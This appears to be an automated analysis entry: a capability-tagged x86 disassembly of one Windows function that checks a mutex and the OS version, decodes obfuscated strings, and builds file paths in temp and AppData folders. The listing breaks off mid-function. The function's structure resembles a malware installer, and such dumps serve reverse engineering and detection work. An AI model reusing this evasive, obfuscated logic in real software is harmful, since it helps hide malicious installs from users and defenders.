Function at 0x409770
Capabilities:
Check mutex on windows
Check os version
Contain obfuscated stackstrings
Create directory
Get common file path
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44897c
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1580
call fcn.00447800
mov eax, dword [0x47200c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, str.NXZgggggkmz_119_CGIKPlov_677CKS_jnqqv_2_AGLORVjoz_4:EMMT_hnx__4
call fcn.0040dbf0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x1590], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4097e7
mov eax, 2
jmp 0x40cbd9
push 0x11c
lea eax, [ebp - 0x1558]
push 0
push eax
call fcn.004269e0
add esp, 0xc
mov dword [ebp - 0x1558], 0x11c
lea eax, [ebp - 0x1558]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40982b
cmp dword [ebp - 0x1554], 6
jae 0x40982b
mov eax, 1
jmp 0x40cbd9
push 0x208
lea eax, [ebp - 0x640]
push 0
push eax
call fcn.004269e0
add esp, 0xc
lea eax, [ebp - 0x640]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x640]
push eax
lea ecx, [ebp - 0x11ac]
call fcn.00404780
mov ecx, str.O__ggggguz_7_BDSVbgkpuuw_1:BJV_cppuxx_
mov dword [ebp - 4], 0
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409882
xor ecx, ecx
jmp 0x409896
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409887
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x11ac]
call fcn.00406f40
cmp dword [ebp - 0x1198], 8
lea eax, [ebp - 0x11ac]
cmovae eax, dword [ebp - 0x11ac]
push eax
push ecx
mov ecx, str.FOR_____nu_._HPkz___BLUdkoqvy0377CL
call fcn.0040dbf0
add esp, 4
mov edx, 0x65
push eax
call fcn.00403890
add esp, 8
lea eax, [ebp - 0x640]
lea ecx, [ebp - 0x10ac]
push eax
call fcn.00404780
mov ecx, str.IMSbbbbbffkt_45_HJKQ_benp__4:_CDFMRakq
mov byte [ebp - 4], 1
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409900
xor ecx, ecx
jmp 0x409914
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409905
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x10ac]
call fcn.00406f40
cmp dword [ebp - 0x1098], 8
lea eax, [ebp - 0x10ac]
cmovae eax, dword [ebp - 0x10ac]
push eax
push ecx
mov ecx, str.CJQcfgju.7AKSY_dnsyy__8BKVegiu_._
call fcn.0040dbf0
add esp, 4
mov edx, 0x66
push eax
call fcn.00403890
push 0x208
lea eax, [ebp - 0x438]
push 0
push eax
call fcn.004269e0
add esp, 0x14
lea eax, [ebp - 0x438]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x230]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ecx, str.KVYcccccjx155_BLTXdq__9GRXcpr__377
call fcn.0040dbf0
push eax
lea ecx, [ebp - 0x107c]
call fcn.00404780
mov byte [ebp - 4], 2
cmp word [ebp - 0x438], 0
jne 0x4099b6
xor ecx, ecx
jmp 0x4099cf
lea ecx, [ebp - 0x438]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4099c0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x438]
push eax
lea ecx, [ebp - 0x107c]
call fcn.00406f40
mov ecx, str.LOPkop_9DQUjjpuw_.68__GIR_hkt__89HRY_agnnt_0_HQ_kz__:ELTVbkopx
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x4099f8
xor ecx, ecx
jmp 0x409a0f
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409a00
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x107c]
call fcn.00406f40
cmp word [ebp - 0x230], 0
jne 0x409a2a
xor ecx, ecx
jmp 0x409a42
lea ecx, [ebp - 0x230]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409a33
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x107c]
call fcn.00406f40
mov ecx, str.ANRWWWWWfoux___69_DIR_dnox_6_ILNQS
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409a6b
xor ecx, ecx
jmp 0x409a7f
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409a70
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x107c]
call fcn.00406f40
cmp dword [ebp - 0x1068], 8
lea edx, [ebp - 0x107c]
lea ecx, [ebp - 0x10ac]
cmovae edx, dword [ebp - 0x107c]
cmp dword [ebp - 0x1098], 8
cmovae ecx, dword [ebp - 0x10ac]
call fcn.00403960
xor eax, eax
mov dword [ebp - 0xfc0], 7
mov dword [ebp - 0xfc4], 0
mov word [ebp - 0xfd4], ax
lea edx, [ebp - 0xfa4]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xfd4]
call fcn.00403010
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x110c]
call fcn.00404780
mov ecx, str.ABDDDDDDOTXeqr_8DGNUWXcfjv.48_KZis_1:_JOSTYcopw1_BMRbhjpr_09EMOVX_bnox_029BIXX_hly__6CIIJWes_1_NWZhhr__039BBKY_bcdkw_15_EILOXaaabms___0_IKLP_ffir12_BOU_ghw
mov byte [ebp - 4], 4
mov byte [ebp - 0x1559], 0
call fcn.0040dbf0
push eax
lea ecx, [ebp - 0x10f4]
call fcn.00404780
mov byte [ebp - 4], 5
lea edx, [ebp - 0x10f4]
cmp dword [ebp - 0x10e0], 8
lea ecx, [ebp - 0x110c]
cmovae edx, dword [ebp - 0x10f4]
cmp dword [ebp - 0x10f8], 8
cmovae ecx, dword [ebp - 0x110c]
call fcn.00403b80
test eax, eax
je 0x409cb6
mov ecx, str.KW_aaaaanu4CRYbjjt__59_OZet___2_
mov byte [ebp - 0x1559], 1
call fcn.0040dbf0
push eax
lea ecx, [ebp - 0x1574]
call fcn.00404780
mov ecx, str.MPQ_____bfsssv08FJX__ekkp__4__JJYippu
mov byte [ebp - 4], 6
call fcn.0040dbf0
push eax
lea ecx, [ebp - 0x158c]
call fcn.00404780
lea eax, [ebp - 0x1574]
mov byte [ebp - 4], 7
push eax
lea edx, [ebp - 0x158c]
lea ecx, [ebp - 0x10f4]
call fcn.00403b10
mov eax, dword [ebp - 0x1578]
add esp, 4
cmp eax, 8
jb 0x409bcb
inc eax
lea ecx, [ebp - 0x158c]
push eax
push dword [ebp - 0x158c]
call fcn.00407f00
xor eax, eax
mov byte [ebp - 4], 5
mov word [ebp - 0x158c], ax
mov eax, dword [ebp - 0x1560]
mov dword [ebp - 0x1578], 7
mov dword [ebp - 0x157c], 0
cmp eax, 8
jb 0x409c0a
inc eax
lea ecx, [ebp - 0x1574]
push eax
push dword [ebp - 0x1574]
call fcn.00407f00
mov ecx, str.OZammmmm__2_AENYZadlnrsu__4_EOkmt
call fcn.0040dbf0
push eax
lea ecx, [ebp - 0x1574]
call fcn.00404780
mov ecx, str.AEFSSSSSWXcl_1__BMUX__fltz__17_BEHOS_b
mov byte [ebp - 4], 8
call fcn.0040dbf0
push eax
lea ecx, [ebp - 0x158c]
call fcn.00404780
lea eax, [ebp - 0x1574]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0x158c]
lea ecx, [ebp - 0x110c]
call fcn.00403b10
mov eax, dword [ebp - 0x1578]
add esp, 4
cmp eax, 8
jb 0x409c77
inc eax
lea ecx, [ebp - 0x158c]
push eax
push dword [ebp - 0x158c]
call fcn.00407f00
xor eax, eax
mov byte [ebp - 4], 5
mov word [ebp - 0x158c], ax
mov eax, dword [ebp - 0x1560]
mov dword [ebp - 0x1578], 7
mov dword [ebp - 0x157c], 0
cmp eax, 8
jb 0x409cb6
inc eax
lea ecx, [ebp - 0x1574]
push eax
push dword [ebp - 0x1574]
call fcn.00407f00
push 0x40cc30
push 0x40cc00
push 0x32
push 0x30
lea eax, [ebp - 0xfa0]
push eax
call fcn.0040e605
mov ecx, str.KQUdddddos__:_FGPW__bbmxx_8CEHKNPP__iw4BPZadqs_389_NSkt___36EFMR__jjlnx_1_KVds_5DILTdp3_JOT_ixz4BLQ_hkvz_::FMWaikz_6_MVio
mov byte [ebp - 4], 0xa
call fcn.0040dbf0
push eax
lea edx, [ebp - 0xfd4]
lea ecx, [ebp - 0x141c]
call fcn.0040ccd0
sub esp, 0x14
mov byte [ebp - 4], 0xb
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 7
cmp dword [ecx + 0x14], 8
mov dword [ecx + 0x10], 0
jb 0x409d1f
mov eax, dword [ecx]
jmp 0x409d21
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x141c]
push edx
push eax
call fcn.00408080
lea ecx, [ebp - 0xfbc]
call fcn.00403620
add esp, 0x18
mov ecx, str.ESX_kpqu__08_CKO__aho__.9ENYdkmyz_46ELX_ir_46AFJR__eqqsy_9:BBGQ_chv___FPZ_op__2:CJUXceiu__7CQW_fu4_KQ_lvz___IV_opqz____019HVcdr..8FMZ_gjqx_9EFKV_ahkqsvw__58_FJPTWX_bgs_..89_KW_bfqwx_1247_BNZeoopz3_GJJWfjt____3_EP_hqw_2AKQS_n_1_JSZap__01__FS___is_.12_GUVZgjkp0
mov byte [ebp - 4], 0xc
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409d5d
xor ecx, ecx
jmp 0x409d71
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409d62
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xfa0]
call fcn.00406e40
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0xfbc]
push eax
lea ecx, [ebp - 0xf88]
call fcn.00408080
mov ecx, str.KY_bbbbbq__.4__DN_fnv_288_GGRUaacjrt.2__IJJQ_bgpvz_6:BINZiwz_.4489_MQQ_cjtw__6GIKS_afmq_8:CMcmy0JLS__epv__07_AALQRZfhkp158EPQXZgm_0__HHRX_fopv_58DJOOUdmz_66:_IQY__egpy_2___N__anu_._JMOWaflmy___8_IReikttux___6FJNVanx58FTY_kx__46_DRZeoos_9BKTX_glpw:__JWWglnw___ABNT_mst_1__MYZixz__8_CR__hv__3__BQS_gswy__6_FKSXfu___24_NTUXcepy_188BQXgr___55DEL__hlw_0:BDJLU_cfs_..9HTcnnstty.4CHRXYgv_1_DGQ_gu____DKMTajy_9AAJVYgho35CEHKT_lz_1__KSZ_cllx____ADS_bmo_777ERX_bfmrw_6_HHQU
call fcn.0040dbf0
push eax
lea edx, [ebp - 0xfd4]
lea ecx, [ebp - 0x113c]
call fcn.0040ccd0
add esp, 4
mov ecx, str.NPQTTTTT_jnu___7ADHJM__ehlmot__4_EIX_gnnp_16_AJJJYakop______DGOX_dgkx_17_KY_jy_77_LR_opx____HKZhr_._CJJN__fmy_0_JPU_mmz_28:_BIOUbhnnw_07DRV_kkx_8_MUZejnwy_0FFIP_ft_05_JMZcnpprr___27_BERX___o_:GU__iqwy_.:_COVW_giiort__138_IW_jv_7_IU_n0LRW__bqsu__.45DN_clw__355BCFUWckyzz.__NQbou_05__CM_chuv_4BOOWan__69BMRdmz_1_DKWfmq_357CIVelmmxxx_8ANWXeekyz_08GNW_kq__1:FGRSWajjky_0__GLTZZadoq__59_CCP__cq.8_BGPSWejowx___FQT_ijrv_1FJN_es___56___HS_efjmo__1_FOUY_gpqu.:GHJJWisvz_04_HRfgnu__8BOPjow__.8DOXdeip_2_GHVajw__477_CDHQUV_nx__6AFT_knt_1:_ES_cgmny__1_CEGRSbklu36_LOXfs
mov byte [ebp - 4], 0xd
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409dcd
xor ecx, ecx
jmp 0x409de1
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409dd2
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x113c]
call fcn.00406f40
mov ecx, str.LSTgu___CNUanx__2_JXklq3ADLOT_ht_1:_MTbgqwx____.4_OWXfu___:ES__gltv__0_DQY_eptty_..79BELWfjr_3ACN_en_.266AELX_alz_055CDMRdgsy6:ITYajpu_3KLTcehu__36EMN__cmov____1FOWekw_06_DER_lq_.3__DNPYckv_6DFIRRWZ_dl__35ALNZfglv09IIMMPVepz5_EJMWckrrx_1_CDLNXZ_fgnoyz_08__KVepq_02_HRUbcny_8:_JWejjsu3CKW_bmqtuy_28_CEPSS_lpy_7BL_ahkkmsty6CDSVZeiw1___ILXaky16_CJU_mw__._AEOV__dnu_0667779GUXltz27_LOino6AGMU_dpz_899_CCHU_gjrtv__3_HJJPjy_6_COfflr_:HIV_jw_3LV_nz__1_LXejw_.4AAGILWW_doo_9HIXdepqqy_7_DQ_fs_:_HVaeikw69EMZhw_:FHPZ_jjpww_.147:EEFTWacn_1268_LUYfr_0_CFJYjpw_3_JS_hssy_:_ACP__kq
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409e04
xor ecx, ecx
jmp 0x409e1f
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409e10
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x113c]
call fcn.00406f40
mov ecx, str.JQXZZZZZdmuv7ALOV_hhmz_6_EN__jnsy5_BBJXbfsy_5BBKNUUclx_04AIO_fo__8_FQjnrs____33KZ_fu_:__KVddgu___9::HO_enu025_DIIIQUaefhw.3_HJPX_hq__:DGOOQWY_ekw1LZilv__7__DMMT_fgoy_5:AMMUccl__7__CPZ_imovz_._IQ__ilrz_48_CEFKQWet2__ADOY_clrv_.99AKUYcrw__77_DLNQZ_ipv__8BKSbgopx___166_CKKWWYekoz_3_JT_ls1:____OZamm_2CNYafu__7BKOOYefrty__0:AHKSVZcr_6_HHKV_din_1:INPQXclno_29GOXZadkuu_5DPV_fqw0_HWXjw_256CGLOT_ekru_8_KU_l6___LLTV_ivy__33_BIV_nqr___:_GQ_kuu_001_GQXZiky_.77DEMNVals_8_DRahiv__.1_FMPY_coy.8BFP_dlx___19__GLV_cpqt__8_OT_enotuw5CINQRUcpz_9:_BQ_llry__09_O_iw__19_APSUVWdkw_56_FKORZ_ftx_8CRS_hpz_:IOft__06:JKLRXbnnpu_5_ADQXZehw__:_HUZgnqx___7_AMYabqr__4CQUXahhmsw__69AOX_bdj
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409e42
xor ecx, ecx
jmp 0x409e56
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409e47
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x113c]
call fcn.00406f40
mov ecx, str.DFJPPPPPX__nz_5AIMYbq___1_KYmpq__5_EQ_ggqu4__MXciv__07:_DNVYfpww36:_ER_ejr8_EEFOV_fjr4CFNZhir_.6CRSdly__9DDERZ_joy__6_GQRVbiqu__1__IO_aafsy_5_HWbclx_5CGTaoxy_.:DMU_inwwy_6_KYYlms_..7DSVdoox__5ANT_js_667_LTadpuv38:_FQ_en_0:CJLXbkwy9BDRRYeeksu_.7_LN_ikz.::JUdno6__MWgmu__1JMPPVekw_2_ENSSVddhq6_FQYgr_4_IUUZgu3_JVcmw02__AHP_cpv_05_MQV_ehm__03DGS_iwx4_NZenpy___CQ__agkkku
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409e79
xor ecx, ecx
jmp 0x409e8f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409e80
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x113c]
call fcn.00406f40
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 7
cmp dword [ecx + 0x14], 8
mov dword [ecx + 0x10], 0
jb 0x409ec7
mov eax, dword [ecx]
jmp 0x409ec9
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x113c]
push edx
push eax
call fcn.00408080
lea ecx, [ebp - 0x1574]
call fcn.00403620
add esp, 0x18
mov esi, eax
lea eax, [ebp - 0xfbc]
cmp eax, esi
je 0x409f3e
mov eax, dword [ebp - 0xfa8]
cmp eax, 8
jb 0x409f15
inc eax
lea ecx, [ebp - 0xfbc]
push eax
push dword [ebp - 0xfbc]
call fcn.00407f00
xor eax, eax
mov dword [ebp - 0xfa8], 7
push esi
lea ecx, [ebp - 0xfbc]
mov dword [ebp - 0xfac], 0
mov word [ebp - 0xfbc], ax
call fcn.00407070
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x1560]
cmp eax, 8
jb 0x409f60
inc eax
lea ecx, [ebp - 0x1574]
push eax
push dword [ebp - 0x1574]
call fcn.00407f00
mov ecx, str.IKQYYYYYY_aoqx4_HILOTcciw_8_KS__hw4GSUabeqv3355BMOTTcrsw__7::_LMORao____:BNZ_lrx__289_OX_ffo_07ET_bjkmv_05BPQcpq__3_IO_cqwx35:__EIV_mr__.058_LL_bq_9__DRSTW_joz_7FKZefmt__36_ANWW_cqt_04_IRVX_frz_4__BKOSU_bbn_.9HILLXgns__05BLVcmyz___23__MVbnx4_DQTZix___EGLSTcnoosx___
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409f76
xor ecx, ecx
jmp 0x409f8f
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409f80
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xf70]
call fcn.00406e40
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0xfbc]
push eax
lea ecx, [ebp - 0xf58]
call fcn.00408080
mov ecx, str.BGIJJJJJLSWcehw_6_DNYfnq__27:EKTU_adjy__7__GNQQ_gv_058_KNPlz6CQYffgorst__78_DP_adootx__12:_KYhkrs_.__ITWdmx__GUY_ddq___06EFUWbmnu__44_IX__ft___49BIRamx2_AKRagruv__0:FT___ejy__7FOZ_js_2__BNdkpz___JSahr_0:_KQW_fiw228DJJQXdo_9HWcdmry00__JU_iv_008BJV_kq_._JX_jy__79_FTYbgu__.5DIST_jlv0:_GOYhkw_2_HRSYbox_049CCMW_bq__9GSZ_iinnr___58__KW_cpp__0_DFU_fjr_1_DRXacccms2_FLU_ejw_4BEHIUam_02ABMMNkrx_456AET__cfsuz___DQ__ns_78_EEMP_drr__CM__io17FFOU_jopr_29_JYbbpquv__38GKKZ_civ__9__HVV_blrz_3_ERR___adgqxx__389DET_girr_09KPVeqx_2AMZcgpy__2_BQR_bmr4__DQZfm_____
call fcn.0040dbf0
push eax
lea edx, [ebp - 0xfd4]
lea ecx, [ebp - 0x1094]
call fcn.0040ccd0
add esp, 4
mov ecx, str.CKOUUUUUY__boy5_IV__kx__.8CENdpr_19_FTW_o8AMRZ_my__5DLY_gq_22_NVaeinnz__6BQ_kz___BQ_akqt__4_HLLRTUals___39EFLPeht__BNS__apy__0:JMVddrtt_06EFP__fu_8__KVZbkttu_9CIS_do_225CKTYYZcm2689__CFO_akno_0088_DQQVjkv_4BFFJWcfopswwz__555APRfilps_.:__IU_ix__5BLT_et.6:_LVdkky15_N_m_44EIPYfs_6DOPZ_jx2:_FKP__lny_3_ABDJXegorx__6:__NVV__fjnv_137_CKQjss__8_AAAHUVaovv_3_LT__iks_88AHJPUVV___mno4:LOSWZ__luz_5_IUcm_1HLOZ_lnr___3AFKMVapr_2_DM__jpqu_:IX_dkw3_KVZilv_0_KVZ_cr__7:AOehs0_EOYcooy__9_GLPTU__bjjktz13_DFJY_bbkw____HRWbikx___0_FRabippy05DNWdo__._HM_fnty__479DM__gu_.9HLYbfkr__5AMXdp_2AOOP__en___69__GIJTTT
mov byte [ebp - 4], 0xf
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x409feb
xor ecx, ecx
jmp 0x409fff
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409ff0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1094]
call fcn.00406f40
mov ecx, str.FJNVVVVV_cmv__8:_ABFMMV__fss9__AGJYfn5_AHUUYeosu_8_BGJKYcjmv557BCHQZZ_my__1_BQ_gjou__.9:HT__n____18:CQYapz__255:CP_m6:FM_aju_135__AAFOYft_2CKXafmp77:_CLUcfq_4_CCJKTWffp_59ELP_bbpt__7AHRUjuu_2333__AJXdiu_____GVYhqqt_29HW_nptu16_N_gippq__6ETVchlqrz_35_BISTYehvz__8AAHR_acfly___KKX_jnu_2_JPY_fq____2_INY__ehrtw__3BDSY_doow_4CKXclw1:BJQVYfry__8:_BKKTY_eno_19_HNVXkqz_5ALP_agq__HVXahpq__:AOU_ghinu_3_KMP_aprt__5BJPeqry___.8_KS_clx__799_ITbeox_88CISjww__0__HSTgsv_4AFN_dlqsy_2DLSZcrr_..5___IPSSTT__hktvy_667__GNcgrw446ELVltu067FP_dlp5:HP_io_33AJV_kovw5:GIIORZcckkr66_LSXbitv____FR
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a022
xor ecx, ecx
jmp 0x40a036
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a027
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1094]
call fcn.00406f40
mov ecx, str.MWfffffmo_2:ITYdilz__.9CFISTViu_.59EFJWXXehrux_2_FFHKXfnnvx_07_BCNXer_04_GIRZ_kr___01_HWXgmnx__5_CHTZ__io_4:GR_ivz__9__DGJUVVcm_3:CIOTccgim_3_LV_abnw4_FGGJO_dsuy_9LY_lw_09FOX_ipw__5_GJT_ikx_6CKZ_aaapwz.__MW_mz_.78AFSWfktx__._59CHO_alot_._9HVWdoz_18DNN_bmt_:IMOPPW_dhu_05_GRUaknt__2_CKU_fr46_CR__ejx_3:_EGJUUbhru__6DMS_hu___:IRagu_5_ADGSbossu__9CGLRRZcly_:CMPT_jy_377AILUX_kns__08__NYYckkv_46_IUUUddjq_.3:LYdo__:HS_giozz__.5:_CGTbdjr5DIIJMOX_inz0233_ILZfu___EP_cdnt_4_FR_bnt__05BNYly__46_BHV_mv_.36_IVcnrv_0_AGUXbjpu__.1_BBFORSSbiksv_.4__OT_ertv09CCRggt_7__DPZglpu_.8HITaeor.0_HTTU_iw._BMTblnwz_2_DFPYYdfny_6ANS_gjqxz___ANTbo00__CPPS_cdlw237EILLOOZ_jq_.__KMZegr__19_KQUUXbmz___0334C
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a059
xor ecx, ecx
jmp 0x40a06f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a060
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1094]
call fcn.00406f40
mov ecx, str.LTUdddddiq___.2:GNQRSZdqv__0__FKMQ_jrruu_____BQYehlny5BOYdimmyyy_3_CEGKWZgiv___08:DRgnsx1_LVbnqqsz2_IXXajy__3_HSSYcikr____DKW___er_8EEFS_flmqz_4_LMhlz__4_AKZaikvz_8:GPX_lltz_5__LMZaoo_8_BGNYYZixxy_DLT_mnpptx_117_APP_es_7AAP_elvz___4_HMP_eiuvw_16__KZabbhvw__1:FTVeenrrz6AHRY__m__0_CJLXfgikquz0_EHMTY__hq_8_GJYms_11_NXekkmx0__JSY_ery_4_ES_ailqzz_18_EMTZdpu._FGUY_et__4ALQQVeivv__199_JLT_hpq49BGNTZirw__5_AOWbl49GNQTWdftu___38DMV_dht_34___IX_bn__.4_CR_bmw_6AHN_grr___8GQZfks.68___JTYhsz___.4ABBMS_hrz_9DQR_gq_1_CHSY__hqt__199AILPho__0046_GTX_hq
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a092
xor ecx, ecx
jmp 0x40a0a6
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a097
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1094]
call fcn.00406f40
mov ecx, str.DRSYYYYYZ_dkr__6CILN__o__013:EFITYYclv__CDRVYcilu__14:EEOZitu5CCDIJR_l___347_ALSWcjm_1_HWdhqs_JKO_ffnuw___CRW_fovz45CQWfjx55AADR_bnv___..8EGMWflqs__36CKXggpy_..2_IS_koz25__HNY_gnx5BOSXdn4BQRRZcdhtz_2_DKTYZ_lu__6_FSTVcepw_.2_DSaabhly_1:FNYgpvw__7__LRV_hv_68_LZZ_ddr__14__GITXckt__0_HU_htx___:_AFQUYZfrt__4APely_579HSlz_4_IRRR_kqqvvy__.6CNR_em_6ABHMX_amy_0_HWcls_.4___OZer___117_EOT_iu_._HW_cqx__:ITW_dm_4KUadqt39FJTTXgrx___.4_FQ_lsx_29_OW_ep_9DKQ___lqx_5_BOPXapw___KQ_mrt___6_DJYcfqsx__7_GNQRU_gqs0_LYabdjx___FNOVX_iiv__7IWfox___137:_JWbnww
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a0c9
xor ecx, ecx
jmp 0x40a0df
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a0d0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1094]
call fcn.00406f40
mov ecx, str.Odgggggkqx_7BJV___ffjlsu__59EJWXbggs__11:FMhlv5_JUbbjjqv__7EKWfl_37CJQaaejxz_39CKLMW__gju_2_OYflqy2::HMZflo45_HPQ___bot_._CEMTcot___:EIU_huw_0___MV__kov58EFPTTW_hv1_AGGLVX__hpuuy_____:_CCIQXfjny_..:CP_hksx__1BLQXkpx__37_JOUagq___3EGGSUjkx_227CPRaijsxx_:_FM_ds_____IQ_diknrz._FKTmmx_:_HV_hoy__0:HKT_bop__.:ISTU_kltv_1_CCL_hr___:FUU_hu__88BQksu_2:HTV_muv_155_CO_inux_1_KXYfs_7BEHHKOXkv__2_BDHHTWhmuu6_AMMYflx_49:ACLRSYjr__FQWZcefgjy__67_HRTaesw__3ADPPSXgq__566BPS_kltv29EQV__iop__23_BGKNQQYfm9BKTbflt__38:_ERR_bhr____88_HQ_cq_18CCKT_et___5_GJY__jv_48APQX_djmu5BQR_ijo__.KWahu______133BBNPPPRUW_afstx_____2_CMSUYhilv__88_DMN_hixy__2AEJPekmtxy__7_GRVZ_jux9CJVWfkz48__JQiq_379HMY_ejr_38_FMWcpsw_33_AMXZbgpqx2__MPPUXgkkuvv_3_NTcjjkz_2__EGOVdlt_09_JNXgt4BQ
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a102
xor ecx, ecx
jmp 0x40a116
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a107
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1094]
call fcn.00406f40
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 7
cmp dword [ecx + 0x14], 8
mov dword [ecx + 0x10], 0
jb 0x40a14e
mov eax, dword [ecx]
jmp 0x40a150
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x1094]
push edx
push eax
call fcn.00408080
lea ecx, [ebp - 0x1574]
call fcn.00403620
add esp, 0x18
mov esi, eax
lea eax, [ebp - 0xfbc]
cmp eax, esi
je 0x40a1c5
mov eax, dword [ebp - 0xfa8]
cmp eax, 8
jb 0x40a19c
inc eax
lea ecx, [ebp - 0xfbc]
push eax
push dword [ebp - 0xfbc]
call fcn.00407f00
xor eax, eax
mov dword [ebp - 0xfa8], 7
push esi
lea ecx, [ebp - 0xfbc]
mov dword [ebp - 0xfac], 0
mov word [ebp - 0xfbc], ax
call fcn.00407070
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x1560]
cmp eax, 8
jb 0x40a1e7
inc eax
lea ecx, [ebp - 0x1574]
push eax
push dword [ebp - 0x1574]
call fcn.00407f00
